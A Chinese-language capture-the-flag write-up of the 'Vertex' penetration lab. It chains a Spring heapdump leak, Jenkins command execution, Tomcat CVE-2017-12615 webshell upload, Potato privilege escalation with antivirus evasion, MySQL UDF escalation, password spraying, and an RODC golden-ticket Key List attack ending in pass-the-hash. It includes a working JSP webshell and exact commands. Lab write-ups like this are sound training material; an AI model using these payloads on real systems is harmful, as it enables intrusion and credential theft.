春秋云镜-Vertex
flag1(入口机1)
fscan先扫描一下
经典heapdump
1
/actuator/heapdump
直接拿ShiroKey
1
java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
用工具注入冰蝎内存马,根目录拿到flag
一层代理
传入fscan和gost搭代理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
fscan.exe -h 192.168.8.9/24 -np
start infoscan
192.168.8.146:22 open
192.168.8.42:22 open
192.168.8.42:80 open
192.168.8.9:80 open
192.168.8.16:135 open
192.168.8.12:135 open
192.168.8.9:135 open
192.168.8.26:135 open
192.168.8.38:135 open
192.168.8.9:139 open
192.168.8.16:139 open
192.168.8.12:139 open
192.168.8.26:139 open
192.168.8.38:139 open
192.168.8.12:445 open
192.168.8.9:445 open
192.168.8.26:445 open
192.168.8.16:445 open
192.168.8.38:445 open
192.168.8.9:1433 open
192.168.8.38:3306 open
192.168.8.9:8000 open
192.168.8.26:8080 open
192.168.8.16:8080 open
192.168.8.146:8080 open
192.168.8.12:88 open
192.168.8.42:8060 open
192.168.8.9:8172 open
192.168.8.42:9094 open
[*] alive ports len is: 29
start vulscan
[*] WebTitle http://192.168.8.42:8060 code:404 len:555 title:404 Not Found
[*] NetBios 192.168.8.12 [+] DC:VERTEXSOFT\RODC
[*] NetBios 192.168.8.26 WORKGROUP\WIN-PC3788
[*] NetBios 192.168.8.16 WORKGROUP\WIN-SERVER03
[*] NetInfo
[*]192.168.8.38
[->]WIN-OPS88
[->]192.168.8.38
[*] NetInfo
[*]192.168.8.12
[->]RODC
[->]192.168.8.12
[*] NetInfo
[*]192.168.8.16
[->]WIN-SERVER03
[->]192.168.8.16
[*] NetInfo
[*]192.168.8.9
[->]WIN-IISSERER
[->]192.168.8.9
[*] NetInfo
[*]192.168.8.26
[->]WIN-PC3788
[->]192.168.8.26
[*] WebTitle http://192.168.8.42 code:302 len:99 title:None 跳转url: http://192.168.8.42/users/sign_in
[*] NetBios 192.168.8.38 WORKGROUP\WIN-OPS88
[*] WebTitle http://192.168.8.9 code:200 len:43679 title:VertexSoft
[+] mysql 192.168.8.38:3306:root 123456
[*] WebTitle http://192.168.8.146:8080 code:302 len:0 title:None 跳转url: http://192.168.8.146:8080/login;jsessionid=5E750AD36D2F1A594C6C4EAADEE050C9
[*] WebTitle http://192.168.8.26:8080 code:200 len:147 title:第一个 JSP 程序
[*] WebTitle http://192.168.8.42/users/sign_in code:200 len:11166 title:登录 · GitLab
[*] WebTitle http://192.168.8.16:8080 code:403 len:594 title:None
[*] WebTitle https://192.168.8.9:8172 code:404 len:0 title:None
[*] WebTitle http://192.168.8.146:8080/login;jsessionid=5E750AD36D2F1A594C6C4EAADEE050C9 code:200 len:1383 title:Master ERP login Form
[+] PocScan http://192.168.8.146:8080 poc-yaml-spring-actuator-heapdump-file
[+] PocScan http://192.168.8.146:8080 poc-yaml-springboot-env-unauth spring2
这里不出网,只能正向上线,代理也只能用正向代理
推荐用gost
1
./gost -L=:10000 &
flag2(192.168.8.16)(Jenkins 弱口令+后台命令执行)
Jenkins 弱口令+后台命令执行
春秋云镜有个靶场出现过,类似打法
1
admin/admin123
/manage/script 命令执行老手法了
1
println "whoami".execute().text
添加管理员账户,RDP连接
1
2
println "net user hunsil Abc123456 /add".execute().text
println "net localgroup administrators hunsil /add".execute().text
flag3(gitlab)
jenkins里面有一个gitlab的key
1
C:\ProgramData\Jenkins\.jenkins\credentials.xml
直接解密得到明文
1
println(hudson.util.Secret.fromString("{AQAAABAAAAAgvBTIIfz3QQnmD8y+ncKsVDqTEsdqjxdp/rkK9tRPkckOfP9xBtu6uqckTjQJ6gJj}").getPlainText())
1
glpat-2Z7YFA6k57s93VHMvHxh
带上token访问gitlab获取项目信息
1
curl.exe -H "Private-Token:glpat-2Z7YFA6k57s93VHMvHxh" http://192.168.8.42/api/v4/projects?simple=true
1
git clone http://192.168.8.42:glpat-2Z7YFA6k57s93VHMvHxh@192.168.8.42/vertexsoft/vertexsoftbackup.git
可以在vertexsoftbackup的backup.txt里面拿到一个flag
flag4(入口机2)(土豆提权免杀)
我们回到另一个入口,随便注册一个用户,发现有个页面需要admin权限才能访问
再回到注册界面抓包
修改role为admin
这里可以下载一个列表
随之发现一个下载api
实现任意文件读取拿到sqlserver的密码
1
/User/DownloadFile?download=Export&fileName=../Web.Config
找到数据库账密,MDUT连接即可
这里发现直接传甜土豆,发现传工具会被杀
1
tasklist/SVC
发现有MsMpEng.exe,也就是Windows Defender
这里推荐免杀工具https://eaas.xred.team/
但是掩日免杀后土豆系列提权工具不能传参数了
发现https://github.com/wh0amitz/PetitPotato/releases
这个土豆不需要传参数
1
C:/healer/performance.exe 0 "cmd/c whoami"
添加管理员,rdp即可
flag5(192.168.8.26)(传jsp马)
这是CVE-2017-12615
upload可以直接未授权查看文件
1
/backup/upload/
put传个jsp蚁剑马
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
PUT /backup/upload/hunsil.jsp HTTP/1.1
Host: 192.168.8.26:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,
*/*
;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=A377FCF0DA5A1767C46C7478027926F9; JSESSIONID=0F908F3AE0576C6145257C8E9395272C
Connection: close
Content-Length: 956
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
可以用party.mem.mk/ui生成内存马
蚁剑连接
这里没有杀软,直接传甜土豆提权
1
SweetPotato.exe -a "type C:\Users\Administrator\flag\flag.txt"
flag6(192.168.8.38)(mysql弱口令)
之前fscan已经扫出mysql账密了
1
mysql 192.168.8.38:3306:root 123456
直接连接MDUT一键udf提权,拿到system权限
UDF一键提权,添加管理员账户,RDP登录拿flag
flag7(192.168.8.12)(密码喷洒 + 过期密码修改)
在拿下的mysql机器的管理员目录里有一个csv,里面有一些账户信息
可以直接密码喷洒
1
proxychains4 crackmapexec smb 192.168.8.12 -u user.txt -p pass.txt -d VERTEXSOFT 2>/dev/null
可以看到这里确实是有这几个用户的,但是都需要修改密码
必须先用rdesktop
1
proxychains4 -q rdesktop 192.168.8.12 -u CharlieCloud -p 'u!6vDaGQOA' -d vertexsoft.local
可以在后面加个共享文件夹,方便传工具
1
-r disk:share=/root/Desktop/vertex
不过我改完密码就用window的远程了
登录后直接找到flag
flag8(RODC)
这里得先把wd关了,不然传工具被杀了
之前fscan扫描,提示本机为RODC
1
2
3
4
5
6
7
8
9
10
11
12
只读域控制器(RODC)有以下几个特点:
RODC只允许只读访问,不允许对 Active Directory的数据进行修改。
客户端可以从中查询和读取信息(例如,进行用户身份验证),但所有写入请求(如密码修改、属性更新)都会被 RODC 透明地转发到可读写的域控制器进行处理。
数据只能从可读写的域控制器复制到 RODC,而 RODC 不会将任何数据复制回其他域控制器。
默认情况下,RODC 上不存储任何用户或计算机的密码凭据。管理员可以通过“密码复制策略”配置控制哪些用户的密码可以被缓存到 RODC 上。
每个 RODC 都有自己特定的 Krbtgt 帐户,该帐户特定于该 RODC 并且与写域控制器的 Krbtgt 帐户隔离。RODC Kerberos 帐户遵循命名格式 “Krbtgt_xxxxx”,其中 xxxxx 是密钥版本号,以指示使用哪个密钥来加密和签署票证。
当 RODC 生成的 TGT 提供给可写域控制器时,仅当票证是为 RODC 的 msDS-RevealOnDemandGroup 属性中列出的主体生成且未在 RODC 的 msDS-NeverRevealGroup 属性中列出时,域控制器才会接受它。
msDS-RevealOnDemandGroup属性指定了一组可以在RODC上缓存其成员身份的安全组。如果用户是该组的成员,RODC将在需要时向上级域控制器请求其身份信息,并将其缓存在本地,从而提高身份验证速度和效率。
msDS-NeverRevealGroup属性指定了一组不允许在RODC上缓存其成员身份的安全组。如果用户是该组的成员,则其身份信息将始终从上级域控制器请求,并不会缓存在RODC上,从而保护敏感信息,避免在RODC上泄露。(该属性优先级高于msDS-RevealOnDemandGroup)
简单来说,当获取到 RODC 管理员权限,可以通过伪造一个 RODC 的黄金票据,通过密钥列表攻击(Key List Attack)获取可写域控的管理员哈希值。
先用mimikatz
1
2
Privilege::Debug
lsadump::lsa /patch""exit
这里得到krbtgt_4156的哈希,还可以得到当前域的sid
将域管理员账户添加到msDS-RevealOnDemandGroup 属性中
1
Set-ExecutionPolicy Bypass -Scope Process -Force
1
2
3
4
5
6
7
8
9
10
# 导入 PowerView 模块
Import-Module .\PowerView.ps1
# 获取当前属性值
Get-DomainObject 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Properties 'msDS-RevealOnDemandGroup' | Select-Object -ExpandProperty 'msDS-RevealOnDemandGroup'
# 设置新的属性值
Set-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Set @{'msDS-RevealOnDemandGroup'=@(
'CN=Administrator,CN=Users,DC=vertexsoft,DC=local'
)}
将 msDS-NeverRevealGroup 属性清空
1
2
3
Get-DomainObject 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Properties 'msDS-NeverRevealGroup' | Select-Object -ExpandProperty 'msDS-NeverRevealGroup'
# 清空 msDS-NeverRevealGroup 的属性值
Set-DomainObject -Identity 'CN=RODC,OU=Domain Controllers,DC=vertexsoft,DC=local' -Clear 'msDS-NeverRevealGroup'
查看管理员用户是否在 msDS-NeverRevealGroup 属性中
1
Get-DomainObject -Identity RODC$
收集黄金票据需要的信息
1
2
3
4
5
6
- `rodcNumber` —— RODC 中 Krbtgt 账户的密钥版本号
- `rc4` or `aes256`—— RODC 中 Krbtgt 账户的哈希值
- `user` —— 要伪造的用户名
- `id` —— 要伪造的用户 RID
- `domain`
- `sid`
制作 RODC 黄金票据
1
2
./Rubeus.exe golden /rodcNumber:4156 /rc4:34e335179246ef930dc33fd1e3de6e9e /user:Administrator /id:500 /domain:vertexsoft.local /sid:S-1-5-21-1670446094-1720415002-1380520873 /nowrap
# /nowrap参数可以让输出的base64票据不包含换行符
利用黄金票据对可写域控发起密钥列表攻击
1
./Rubeus.exe asktgs /enctype:rc4 /keyList /service:krbtgt/vertexsoft.local /dc:DC.vertexsoft.local /ticket:......
PTH过去即可
1
proxychains4 -q impacket-smbexec -hashes :EBC447441306783742EE3DF769051B75 vertexsoft.local/administrator@192.168.1.11 -codec gbk
参考文章:
https://www.y0ng.top/2025/05/30/Vertex/
https://www.s1mh0.cn/blog/index.php/2025/06/20/cqyj_vertex
| [春秋云境-Vertex WriteUp By Chu0 | CN-SEC 中文网](https://cn-sec.com/archives/4109593.html) |






















